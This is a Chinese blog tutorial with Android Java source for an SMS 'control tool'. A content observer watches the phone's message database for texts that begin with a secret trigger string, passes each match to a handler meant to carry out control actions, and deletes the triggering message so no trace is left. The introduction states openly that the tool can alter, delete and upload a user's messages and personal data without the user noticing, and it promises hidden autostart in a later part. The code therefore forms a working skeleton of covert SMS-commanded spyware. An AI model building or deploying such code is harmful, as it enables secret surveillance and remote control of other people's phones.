序言:本程序示例本着简洁易懂的目的,只做了简单的功能实现,需要用户启动应用,收到短信才有效果。作者将会在后面的(二)篇中加入服务后台运行、自动启动功能,实现一个真正的短信控制工具。本文的目的很简单,让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库,而不是广播,所以权限相对较高,能在用户未察觉的前提下,篡改、删除,上传手机短信或个人信息。请勿非法使用,仅供个人参考学习。本程序需要用到4-5个类,
本文来自:http://blog.csdn.net/tabactivity
1、 com.xieyuan.smslistener 包下 MessageItem.java ,主要功能就是构建数据模型,方便修改和使用。
package com.xieyuan.smslistener; import java.io.Serializable; /* * 实现Serializable接口,方便数据的传输 * 在后面需要调用Message.obj=MessageItem的对象,来传输 * 那么就必须实现此接口 */ public class MessageItem implements Serializable{ //短信ID private int id; //短信类型 1是接收到的,2是发出的 private int type; //短信协议 ,短信彩信 private int protocol; //发送时间 private long date; //手机号 private String phone; //内容 public String body; public MessageItem() { } public MessageItem(int id,int type,int protocol,long date,String phone,String body) { this.id=id; this.type=type; this.protocol=protocol; this.date=date; this.phone=phone; this.body=body; } /** * @return the id */ public int getId() { return id; } /** * @param id the id to set */ public void setId(int id) { this.id = id; } /** * @return the type */ public int getType() { return type; } /** * @param type the type to set */ public void setType(int type) { this.type = type; } /** * @return the protocol */ public int getProtocol() { return protocol; } /** * @param protocol the protocol to set */ public void setProtocol(int protocol) { this.protocol = protocol; } /** * @return the date */ public long getDate() { return date; } /** * @param date the date to set */ public void setDate(long date) { this.date = date; } /** * @return the phone */ public String getPhone() { return phone; } /** * @param phone the phone to set */ public void setPhone(String phone) { this.phone = phone; } /** * @return the body */ public String getBody() { return body; } /** * @param body the body to set */ public void setBody(String body) { this.body = body; } public String toString() { return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body; } }
2、com.xieyuan.smslistener 包下 SMSConstant.java ,主要定义了一些关于短信数据库字段和程序常量。
package com.xieyuan.smslistener; import android.net.Uri; import android.provider.BaseColumns; public interface SMSConstant extends BaseColumns{ //内容地址 public static final Uri CONTENT_URI=Uri.parse("content://sms"); //短信开头过滤字符,根据该字符判断是不是控制短信 public static final String FILTER="woaixieyuan"; ////////////SMS数据库列名字段,其实还有很多,目前没用就不列举了 public static final String ID="_id"; public static final String THREAD_ID="thread_id"; public static final String ADDRESS="address"; public static final String M_SIZE="m_size"; public static final String PERSON="person"; public static final String DATE="date"; public static final String DATE_SENT="date_sent"; public static final String PROTOCOL="protocol"; public static final String READ="read"; public static final String STATUS="status"; public static final String REPLY_PATH_PRESENT="replay_path_present"; public static final String SUBJECT="subject"; public static final String BODY="body"; public static final String SERVICE_CENTER="service_center"; public static final String LOCKED="locked"; public static final String SIM_ID="sim_id"; public static final String ERROR_CODE="error_code"; public static final String SEEN="seen"; public static final String TYPE = "type"; ////////////短信的状态 public static final int MESSAGE_TYPE_ALL = 0; //所有 public static final int MESSAGE_TYPE_INBOX = 1; //收件箱 public static final int MESSAGE_TYPE_SENT = 2; //已发送 public static final int MESSAGE_TYPE_DRAFT = 3; //草稿 public static final int MESSAGE_TYPE_OUTBOX = 4; //待发送 public static final int MESSAGE_TYPE_FAILED = 5; //发送失败 for failed outgoing messages public static final int MESSAGE_TYPE_QUEUED = 6; //定时发送 for messages to send later public static final int PROTOCOL_SMS = 0;//SMS_PROTO public static final int PROTOCOL_MMS = 1;//MMS_PROTO }
3、com.xieyuan.smslistener 包下 SMSObserver.java ,短信观察者,该类
注册观察者类时得到回调数据确定一个给定的内容URI变化。
package com.xieyuan.smslistener; import android.content.ContentResolver; import android.database.ContentObserver; import android.database.Cursor; import android.os.Handler; import android.os.Message; /* * ContentObserver——内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于 数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器, 相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。 */ public class SMSObserver extends ContentObserver{ private Handler mHandler; //内容解析器,和ContentProvider刚好相反,一个提供,一个解析 private ContentResolver mResolver; //需要取得的短信条数 private static final int MAX_NUMS=10; //用于保存记录中最大的ID private static final int MAX_ID=0; //需要获得的字段列 private static final String[] PROJECTION={ SMSConstant.ID, SMSConstant.TYPE, SMSConstant.ADDRESS, SMSConstant.BODY, SMSConstant.DATE, SMSConstant.THREAD_ID, SMSConstant.READ, SMSConstant.PROTOCOL }; /* * 查询语句 * 用于查询ID大于 MAX_ID的记录,初始为0,后面用于保存记录的最大ID。短信的起始ID为1 */ private static final String SELECTION=SMSConstant.ID + " > %s"+ " and ("+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_INBOX+ " or "+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_SENT+")"; //取值对应的结果就是PROJECTION 里对应的字段 private static final int COLUMN_INDEX_ID = 0; private static final int COLUMN_INDEX_TYPE = 1; private static final int COLUMN_INDEX_PHONE = 2; private static final int COLUMN_INDEX_BODY = 3; private static final int COLUMN_INDEX_DATE = 4; private static final int COLUMN_INDEX_PROTOCOL = 7; public SMSObserver(ContentResolver resolver,Handler handler) { super(handler); this.mResolver=resolver; this.mHandler=handler; } @Override public void onChange(boolean selfChange) { super.onChange(selfChange); Cursor cursor=mResolver.query(SMSConstant.CONTENT_URI, //查询的URI PROJECTION, //需要取得的列 String.format(SELECTION,MAX_ID), //查询语句 null, //可能包括您的选择,将被替换selectionArgs的值,在选择它们出现的顺序。该值将被绑定为字符串。 null); //排序 if(cursor!=null) { while(cursor.moveToNext()) { /* Log.v("短信",new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(cursor.getLong(4))+ ",ID:"+cursor.getInt(COLUMN_INDEX_ID)+",TYPE:"+cursor.getInt(COLUMN_INDEX_TYPE)+",PROTOCOL:"+ cursor.getInt(COLUMN_INDEX_PROTOCOL)+",PHONE:"+cursor.getString(COLUMN_INDEX_PHONE)+","+ cursor.getString(COLUMN_INDEX_BODY));*/ int id=cursor.getInt(COLUMN_INDEX_ID); int type=cursor.getInt(COLUMN_INDEX_TYPE); int protocol=cursor.getInt(COLUMN_INDEX_PROTOCOL); long date=cursor.getLong(COLUMN_INDEX_DATE); String phone=cursor.getString(COLUMN_INDEX_PHONE); String body=cursor.getString(COLUMN_INDEX_BODY); //过滤指定的内容,执行控制操作 if(protocol==SMSConstant.PROTOCOL_SMS&&body!=null&&body.startsWith(SMSConstant.FILTER)) { MessageItem item=new MessageItem(id, type, protocol, date, phone, body); //通知Handler Message msg=new Message(); msg.obj=item; mHandler.sendMessage(msg); break; } } /* * 关闭游标,释放资源。否则下次查询游标仍然在原位置 */ cursor.close(); } } }
4、com.xieyuan.smslistener 包下 SMSHandler.java ,短信观察者的数据发送变化,并和指定的Filter(SMSConstant定义的指令,区分是不是开发者的控制短信)字符串匹配后,会向SMSHhander发送消息,此时,SMSHandler就可以根据短信的内容执行一些操作,来控制手机。
package com.xieyuan.smslistener; import android.content.ContentProvider; import android.content.ContentProviderClient; import android.content.ContentResolver; import android.content.ContentUris; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Handler; import android.os.Message; import android.util.Log; /* * 用于接收SMSObserver发送过来的短信内容(MessageItem) */ public class SMSHandler extends Handler{ private static final String TAG="SMSHandler"; private Context mContext; public SMSHandler(Context context) { super(); this.mContext=context; } @Override public void handleMessage(Message msg) { MessageItem item=(MessageItem)msg.obj; new Intent(Intent.ACTION_REBOOT); //添加给定的ID结尾的路径。 Uri uri=ContentUris.withAppendedId(SMSConstant.CONTENT_URI, item.getId()); /* 可以根据短信内容进行判断,执行您想要的操作,如发送 Filter字符+dialog你就弹出个对话框, 操作省略,自行完善所需控制操作 。。。。。。。。。。。。。。 */ //删除指定的短信,操作不留痕迹。。。^_^ mContext.getContentResolver().delete(uri,null,null); Log.v(TAG, item.toString()); } }
5、注册内容观察者
在Activity或者Service的初始函数中执行注册操作,本示例在Activity onCreate()中注册
ContentResolver resolver=getContentResolver(); MSObserver observer=new SMSObserver(resolver, new SMSHandler(this)); //注册观察者类时得到回调数据确定一个给定的内容URI变化。 resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, observer);
在onDestroy'()中卸载观察者
//卸载观察者 getContentResolver().unregisterContentObserver(observer);
在AndroidManifest.xml中添加短信权限
<!-- 读取短信 --> <uses-permission android:name="android.permission.READ_SMS" /> <!-- 发送短信 --> <uses-permission android:name="android.permission.WRITE_SMS" />
至此,整个简单的短信监听工具基本模型已经完善。
------------------------------------------------------------------------------------
下面是辅助开发的一些参考资料:
1、Android 短信数据库 开发资料(深度开发必看)
http://download.csdn.net/detail/ab6326795/6199851
2、Android数据库字段资料
1.短信数据库
String strUriInbox = "content://sms";
Uri uriSms = Uri.parse(strUriInbox);
Cursor c_groups = managedQuery( uriSms , new String[] { "date","person" }, select, null, "date DESC");
strColumnName=_id strColumnValue=48 //短消息序号
strColumnName=thread_id strColumnValue=16 //对话的序号(conversation)
strColumnName=address strColumnValue=+8613411884805 //发件人地址,手机号
strColumnName=person strColumnValue=null //发件人,返回一个数字就是联系人列表里的序号,陌生人为null
strColumnName=date strColumnValue=1256539465022 //日期 long型,想得到具体日期自己转换吧!
strColumnName=protocol strColumnValue=0 //协议
strColumnName=read strColumnValue=1 //是否阅读
strColumnName=status strColumnValue=-1 //状态
strColumnName=type strColumnValue=1 //类型 1是接收到的,2是发出的
strColumnName=reply_path_present strColumnValue=0 //
strColumnName=subject strColumnValue=null //主题
strColumnName=body strColumnValue=您好 //短消息内容
strColumnName=service_center strColumnValue=+8613800755500 //短信服务中心号码编号,可以得知该短信是从哪里发过来的见下表
2.联系人数据库
strColumnName = _sync_id strColumnValue=null
strColumnName = primary_organization strColumnValue=null
strColumnName = notes strColumnValue=null
strColumnName = primary_phone strColumnValue=1
strColumnName = status strColumnValue=null
strColumnName = im_handle strColumnValue=null
strColumnName = _sync_local_id strColumnValue=null
strColumnName = im_account strColumnValue=null
strColumnName = _sync_time strColumnValue=null
strColumnName = im_protocol strColumnValue=null
strColumnName = mode strColumnValue=null
strColumnName = label strColumnValue=null
strColumnName = times_contacted strColumnValue=0
strColumnName = name strColumnValue=é??è?3
strColumnName = send_to_voicemail strColumnValue=null
strColumnName = primary_email strColumnValue=null
strColumnName = custom_ringtone strColumnValue=null
strColumnName = sort_string strColumnValue=í?¤í2?í??ío3à?
strColumnName = _sync_version strColumnValue=null
strColumnName = last_time_contacted strColumnValue=null
strColumnName = _sync_account strColumnValue=null
strColumnName = display_name strColumnValue=é??è?3
strColumnName = number_key strColumnValue=77681111831
strColumnName = number strColumnValue=13811118677
strColumnName = phonetic_name strColumnValue=null
strColumnName = _id strColumnValue=1
strColumnName = type strColumnValue=2
strColumnName = _sync_dirty strColumnValue=1
strColumnName = starred strColumnValue=0
4.其他数据库
//Available Uri string
content://contacts/people //本地联系人列表信息
content://contacts/phones //本地联系人列表信息
content://call_log/calls/ //本地通话记录
content://mms 彩信
content://mms-sms/threadID
content://mms-sms/conversations
content://mms-sms/messages/byphone
content://mms-sms/undelivered
content://mms-sms/draft
String strUriInbox = "content://sms/inbox"; //SMS_INBOX:1
String strUriFailed = "content://sms/failed"; //SMS_FAILED:2
String strUriQueued = "content://sms/queued"; //SMS_QUEUED:3
String strUriSent = "content://sms/sent"; //SMS_SENT:4
String strUriDraft = "content://sms/draft"; //SMS_DRAFT:5
String strUriOutbox = "content://sms/outbox"; //SMS_OUTBOX:6
String strUriUndelivered = "content://sms/undelivered"; //SMS_UNDELIVERED
String strUriAll = "content://sms/all"; //SMS_ALL
String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id
String strUriAll = "content://sms" //you can delete one message by _id